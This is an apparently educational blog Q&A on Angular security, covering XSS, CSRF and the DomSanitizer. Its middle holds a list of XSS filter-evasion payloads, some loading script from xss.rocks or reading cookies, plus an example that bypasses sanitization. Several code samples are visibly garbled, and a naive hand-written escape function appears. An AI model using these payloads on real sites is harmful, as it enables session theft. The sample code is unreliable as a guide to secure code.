Skip to main content

Angular Security Questions and Answers - Security slip ups are everywhere!

What are the key points to keep in mind when you are developing Angular apps?

There are four key points to keep in mind when you are developing an Angular's apps i.e.

1.           The application level securities like authentication and authorization.
2.           Coding with Best Practices.
3.           Preventing cross-site scripting (XSS).
4.           Reporting vulnerabilities and HTTP Level vulnerabilities.
How to write Best Practices Applications?

As per experts, be careful when developing Angular apps,
1.           We keep and watching the latest version of Angular.
2.           Don't try to add hacks or modify to Angular generates files.
3.           Avoid Angular’s Security Risk.
4.           Also, avoid direct use of the DOM APIs.
5.           Try to use offline template compiler.
6.           Try to prevent CSRF or XSRF attacks in your web apps.
7.           Try to prevent JSON data in your web apps.
8.           And so on…

What Is Cross Site Scripting (XSS) Attack?

The Cross Site Scripting (XSS) attack is a type of injection and attackers inject your web applications using the client side scripts and malicious code into web pages.

An attacker can insert vulnerability scripts and malicious code in your web applications.

The Cross Site Scripting (XSS) attacks are common on web browsers and it carried out on websites around 84% (approximately).


How To Preventing Cross Site Scripting (XSS) in Angular? 
How Angular Protects Us From XSS Attacks?
The Cross Site Scripting (XSS) attack is a type of injection and attackers inject your web applications using the client side scripts and malicious code into web pages.

An attacker can insert vulnerability scripts and malicious code in your web applications.
The Angular treats all values as untrusted by default. This is the great advantages of Angular.

When a value is Inserted Vulnerability into the DOM from –
1.      A Template
2.      Property
3.      Attribute
4.      Style
5.      Class Binding
6.      Interpolation
7.      And so on.

Angular recognizes the value as unsafe and automatically sanitizes and removes the script tag and other security vulnerabilities.

Angular provides built-in, values as untrusted by default, anti XSS, and CSRF/XSRF protection.

The CookieXSRFStrategy class takes care of preventing XSS and CSRF/XSRF attacks.

The DomSanitizationService takes care of removing the dangerous bits in order to prevent XSS attacks.

Angular applications must follow the same security principles as regular web applications -
1.      You should avoid direct use of the DOM APIs.
2.      You should enable Content Security Policy (CSP) and configure your web server to return appropriate CSP HTTP headers.
3.      You should Use the offline template compiler.
4.      You should Use Server-Side XSS protection.
5.      You should Use DOM Sanitizer.
6.      You should Preventing CSRF or XSRF attacks.

Angular defines the following security -
HTML is used when interpreting a value as HTML i.e.
<div [innerHTML]="UNTRUSTED"></div>
OR
<input value="UNTRUSTED">

Style is used when binding CSS into the style property i.e.
<div [style]="height:UNTRUSTED"></div>

URL is used for URL properties i.e.
<a [href]="UNTRUSTED-URL"></a>
OR
<script [src]="UNTRUSTED-URL"></script>
OR
<iframe src="UNTRUSTED-URL" />

Resource URL is a URL that will be loaded and executed i.e.
<script>var value='UNTRUSTED';</script>


<p class="e2e-inner-html-interpolated">{{htmlSnippet}}</p>
<p class="e2e-inner-html-bound" [innerHTML]="htmlSnippet"></p>


Impact of Cross Site Scripting (XSS) -
When attackers successfully exploit XSS vulnerabilities in a web application, they can insert scripts and malicious code.

An Attacker can 
1.      Hijack user’s account
2.      Access browser history and clipboard contents
3.      Application cookies, sessions
4.      Control the browser remotely
5.      Scan and exploit intranet appliances and applications
6.      And so on

Angular defines the following security -

HTML is used when interpreting a value as HTML i.e.
<div [innerHTML]="UNTRUSTED"></div>
OR
<input value="UNTRUSTED">

Style is used when binding CSS into the style property i.e.
<div [style]="height:UNTRUSTED"></div>

URL is used for URL properties i.e.
<a [href]="UNTRUSTED-URL"></a>
OR
<script [src]="UNTRUSTED-URL"></script>
OR
<iframe src="UNTRUSTED-URL" />

Resource URL is a URL that will be loaded and executed i.e.
<script>var value='UNTRUSTED';</script>


<p class="e2e-inner-html-interpolated">{{htmlSnippet}}</p>
<p class="e2e-inner-html-bound" [innerHTML]="htmlSnippet"></p>


Malicious Scripts and Code – Vulnerability
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv
MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw
IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="type="image/svg+xml" AllowScriptAccess="always"></EMBED>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="httx://xss.rocks/xss.js"></SCRIPT>
<Img src = x onerror = "javascript: window.onerror = alert; throw XSS"><Video>
<source onerror = "javascript: alert (XSS)"><Input value = "XSS" type = text>
<applet code="javascript:confirm(document.cookie);">
<isindex x="javascript:" onmouseover="alert(XSS)">
"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
"><img src="x:x" onerror="alert(XSS)">
"><iframe src="javascript:alert(XSS)">
<object data="javascript:alert(XSS)">
<isindex type=image src=1 onerror=alert(XSS)>
<img src=x:alert(alt) onerror=eval(src) alt=0>
<img  src="x:gif" onerror="window['al\u0065rt'](0)"></img>
<iframe/src="data:text/html,<svg onload=alert(1)>">
<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
<svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
<iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>
<form><a href="javascript:\u0061lert(1)">X
</script><img/*%00/src="worksinchrome&colon;prompt(1)"/%00*/onerror='eval(src)'>
<img src="/" =_=" title="onerror='prompt(1)'">
<form><button formaction=javascript&colon;alert(1)>CLICKME
<input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>
<SCRIPT/SRC="http://xss.rocks/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<SCRIPT SRC=http://xss.rocks/xss.js?< B >
<iframe src=http://xss.rocks/scriptlet.html <
</script><script>alert('XSS');</script>
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
<style>//*{x:expression(alert(/xss/))}//<style></style>
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe
<script x> alert(1) </script 1=2

How does Angular handle with XSS or CSRF? How Angular prevents this attack?
Angular applications must follow the same security principles as regular web applications -
1.      You should avoid direct use of the DOM APIs.
2.      You should enable Content Security Policy (CSP) and configure your web server to return appropriate CSP HTTP headers.
3.      You should Use the offline template compiler.
4.      You should Use Server-Side XSS protection.
5.      You should Use DOM Sanitizer.
6.      You should Preventing CSRF or XSRF attacks.

Example –
export const BROWSER_SANITIZATION_PROVIDERS: Array<any> = [
  {provideSanitizeruseExistingDomSanitizer},
  {provideDomSanitizeruseClassDomSanitizerImpl},
];

@NgModule({
  providers: [
    BROWSER_SANITIZATION_PROVIDERS
    ...
  ],
  exports: [CommonModuleApplicationModule]
})
export class BrowserModule {}


DOM sanitization - Use to clean untrusted parts of values -
export enum SecurityContext { NONE, HTML, STYLE, SCRIPT, URL, RESOURCE_URL }

export abstract class DomSanitizer implements Sanitizer {
  abstract sanitize(context: SecurityContext, valueSafeValue|string|null): string|null;
  abstract bypassSecurityTrustHtml(value: string): SafeHtml;
  abstract bypassSecurityTrustStyle(value: string): SafeStyle;
  abstract bypassSecurityTrustScript(value: string): SafeScript;
  abstract bypassSecurityTrustUrl(value: string): SafeUrl;
  abstract bypassSecurityTrustResourceUrl(value: string): SafeResourceUrl;
}


The DOM Sanitize Methods –
sanitize(ctx: SecurityContext, value: SafeValue|string|null): string|null {
  if (value == nullreturn null;

  switch (ctx) {
    case SecurityContext.NONE:
      return value as string;
      
    case SecurityContext.HTML:
      if (value instanceof SafeHtmlImplreturn value.changingThisBreaksApplicationSecurity;
      this.checkNotSafeValue(value'HTML');
      return sanitizeHtml(this._docString(value));
     
    case SecurityContext.STYLE:
      if (value instanceof SafeStyleImplreturn value.changingThisBreaksApplicationSecurity;
      this.checkNotSafeValue(value'Style');
      return sanitizeStyle(value as string);
     
    case SecurityContext.SCRIPT:
      if (value instanceof SafeScriptImplreturn value.changingThisBreaksApplicationSecurity;
      this.checkNotSafeValue(value'Script');
      throw new Error('unsafe value used in a script context');
     
    case SecurityContext.URL:
      if (value instanceof SafeResourceUrlImpl || value instanceof SafeUrlImpl) {
        //Allow resource URLs in URL contexts, they are strictly more trusted.
        return value.changingThisBreaksApplicationSecurity;
      }
      this.checkNotSafeValue(value'URL');
      return sanitizeUrl(String(value));
     
    case SecurityContext.RESOURCE_URL:
      if (value instanceof SafeResourceUrlImpl) {
        return value.changingThisBreaksApplicationSecurity;
      }
      this.checkNotSafeValue(value'ResourceURL');
      throw new Error(
          'unsafe value used in a resource URL context (see http://g.co/ng/security#xss)');
         
    default:
      throw new Error(`Unexpected SecurityContext ${ctx} (see http://g.co/ng/security#xss)`);
  }
}



How To Bypass Angular XSS Protection?
Example 1 -
import {BrowserModuleDomSanitizerfrom '@angular/platform-browser'

@Component({
  selector'my-app',
  template: `<div [innerHtml]="html"></div>`,
})
export class App {
  constructor(private sanitizer: DomSanitizer) {
    this.html = sanitizer.bypassSecurityTrustHtml('<h1>DomSanitizer</h1><script>alert("XSS")</script>') ;
  }
}

Example 2 -
import {BrowserModuleDomSanitizerfrom '@angular/platform-browser'

@Component({
  selector'my-app',
  template: `<iframe [src]="iframe"></iframe>`,
})
export class App {
  constructor(private sanitizer: DomSanitizer) {
    this.iframe = sanitizer.bypassSecurityTrustResourceUrl("https://www.code-sample.com")
  }
}


How To Sanitize a Value Manually in Angular?
As per our project requirement, we sanitize a value manually using the below sanitize methods-
1.      SecurityContext.HTML
2.      SecurityContext.SCRIPT
3.      SecurityContext.STYLE
4.      SecurityContext.NONE
5.      SecurityContext.RESOURCE_URL
6.      SecurityContext.URL


Example 1 –
import {ComponentSecurityContextfrom '@angular/core'

export class App {
  constructor(private sanitizer: DomSanitizer) {
    this.html = sanitizer.sanitize(SecurityContext.HTML"<h2>DOM Sanitize</h2><script>alert("XSS")</script>");
  }
}

Example 2 –
import {ComponentSecurityContextfrom '@angular/core'

export class App {
  constructor(private sanitizer: DomSanitizer) {
    this.script = sanitizer.sanitize(SecurityContext.SCRIPT"<h2>DOM Sanitize</h2><script>alert("XSS")</script>");
  }
}

Example 3 –
import {ComponentSecurityContextfrom '@angular/core'

export class App {
  constructor(private sanitizer: DomSanitizer) {
    this.url = sanitizer.sanitize(SecurityContext.URL"<h2>DOM Sanitize</h2><script> Your code also");
  }
}


How Prevents HTML DOM Based XSS attacks?
<script type="text/javascript">
  let escapeHTML = function(unsafe_str) {
    return unsafe_str
        .replace(/&/g'&amp;')
        .replace(/</g'&lt;')
        .replace(/>/g'&gt;')
        .replace(/\"/g'&quot;')
        .replace(/\'/g'&#39;')
        .replace(/\//g'&#x2F;')
        .replace('src','drc');
}

//Bind HTML - DOM
element.innerHTML = escapeHTML(iputData);

</script>


By Anil Singh | Rating of this article (*****)

Popular posts from this blog

List of Countries, Nationalities and their Code In Excel File

Download JSON file for this List - Click on JSON file    Countries List, Nationalities and Code Excel ID Country Country Code Nationality Person 1 UNITED KINGDOM GB British a Briton 2 ARGENTINA AR Argentinian an Argentinian 3 AUSTRALIA AU Australian an Australian 4 BAHAMAS BS Bahamian a Bahamian 5 BELGIUM BE Belgian a Belgian 6 BRAZIL BR Brazilian a Brazilian 7 CANADA CA Canadian a Canadian 8 CHINA CN Chinese a Chinese 9 COLOMBIA CO Colombian a Colombian 10 CUBA CU Cuban a Cuban 11 DOMINICAN REPUBLIC DO Dominican a Dominican 12 ECUADOR EC Ecuadorean an Ecuadorean 13 EL SALVADOR

39 Best Object Oriented JavaScript Interview Questions and Answers

Most Popular 37 Key Questions for JavaScript Interviews. What is Object in JavaScript? What is the Prototype object in JavaScript and how it is used? What is "this"? What is its value? Explain why "self" is needed instead of "this". What is a Closure and why are they so useful to us? Explain how to write class methods vs. instance methods. Can you explain the difference between == and ===? Can you explain the difference between call and apply? Explain why Asynchronous code is important in JavaScript? Can you please tell me a story about JavaScript performance problems? Tell me your JavaScript Naming Convention? How do you define a class and its constructor? What is Hoisted in JavaScript? What is function overloadin

React | Encryption and Decryption Data/Text using CryptoJs

To encrypt and decrypt data, simply use encrypt () and decrypt () function from an instance of crypto-js. Node.js (Install) Requirements: 1.       Node.js 2.       npm (Node.js package manager) 3.       npm install crypto-js npm   install   crypto - js Usage - Step 1 - Import var   CryptoJS  =  require ( "crypto-js" ); Step 2 - Encrypt    // Encrypt    var   ciphertext  =  CryptoJS . AES . encrypt ( JSON . stringify ( data ),  'my-secret-key@123' ). toString (); Step 3 -Decrypt    // Decrypt    var   bytes  =  CryptoJS . AES . decrypt ( ciphertext ,  'my-secret-key@123' );    var   decryptedData  =  JSON . parse ( bytes . toString ( CryptoJS . enc . Utf8 )); As an Example,   import   React   from   'react' ; import   './App.css' ; //Including all libraries, for access to extra methods. var   CryptoJS  =  require ( "crypto-js" ); function   App () {    var   data

25 Best Vue.js 2 Interview Questions and Answers

What Is Vue.js? The Vue.js is a progressive JavaScript framework and used to building the interactive user interfaces and also it’s focused on the view layer only (front end). The Vue.js is easy to integrate with other libraries and others existing projects. Vue.js is very popular for Single Page Applications developments. The Vue.js is lighter, smaller in size and so faster. It also supports the MVVM ( Model-View-ViewModel ) pattern. The Vue.js is supporting to multiple Components and libraries like - ü   Tables and data grids ü   Notifications ü   Loader ü   Calendar ü   Display time, date and age ü   Progress Bar ü   Tooltip ü   Overlay ü   Icons ü   Menu ü   Charts ü   Map ü   Pdf viewer ü   And so on The Vue.js was developed by “ Evan You ”, an Ex Google software engineer. The latest version is Vue.js 2. The Vue.js 2 is very similar to Angular because Evan You was inspired by Angular and the Vue.js 2 components looks like -

Encryption and Decryption Data/Password in Angular

You can use crypto.js to encrypt data. We have used 'crypto-js'.   Follow the below steps, Steps 1 –  Install CryptoJS using below NPM commands in your project directory npm install crypto-js --save npm install @types/crypto-js –save After installing both above commands it looks like  – NPM Command  1 ->   npm install crypto-js --save NPM Command  2 ->   npm install @types/crypto-js --save Steps 2  - Add the script path in “ angular.json ” file. "scripts" : [                "../node_modules/crypto-js/crypto-js.js"               ] Steps 3 –  Create a service class “ EncrDecrService ” for  encrypts and decrypts get/set methods . Import “ CryptoJS ” in the service for using  encrypt and decrypt get/set methods . import  {  Injectable  }  from   '@angular/core' ; import   *   as   CryptoJS   from   'crypto-js' ; @ Injectable ({    providedIn:   'root' }) export   class   EncrDecrS